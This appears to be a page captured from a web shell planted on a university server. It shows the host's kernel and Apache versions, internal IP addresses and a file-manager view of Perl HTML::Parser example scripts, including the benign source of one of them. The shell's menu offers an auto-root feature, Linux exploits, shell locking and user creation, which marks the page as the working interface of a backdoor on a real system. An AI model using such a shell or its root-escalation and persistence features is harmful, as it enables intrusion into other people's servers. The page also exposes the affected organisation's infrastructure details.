Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libhtml-parser-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
hanchors
1.17
KB
-rwxr-xr-x
hbody
729
B
-rwxr-xr-x
hdisable
740
B
-rwxr-xr-x
hdump
708
B
-rwxr-xr-x
hform
2.44
KB
-rwxr-xr-x
hlc
717
B
-rwxr-xr-x
hrefsub
3
KB
-rwxr-xr-x
hstrip
1.73
KB
-rwxr-xr-x
htext
612
B
-rwxr-xr-x
htextsub
936
B
-rwxr-xr-x
htitle
461
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hdisable
#!/usr/bin/perl use strict; use warnings; use HTML::Parser (); use HTML::Entities qw(encode_entities); sub disable_tags_but { my ($text, $allowed_tags) = @_; my @text; my %allowed_tag = map { $_ => 1 } @{$allowed_tags || []}; my $tag_h = sub { my ($tag, $text) = @_; $text = encode_entities($text, "<") unless $allowed_tag{$tag}; push(@text, $text); }; HTML::Parser->new( start_h => [$tag_h, 'tagname, text'], end_h => [$tag_h, 'tagname, text'], default_h => [\@text, '@{text}'], )->parse($text)->eof; return join("", @text); } # # Test it # print disable_tags_but(<<EOT, [qw(a br)]) unless caller; Test <foo> <a href="...">...</a> </bar> EOT
Close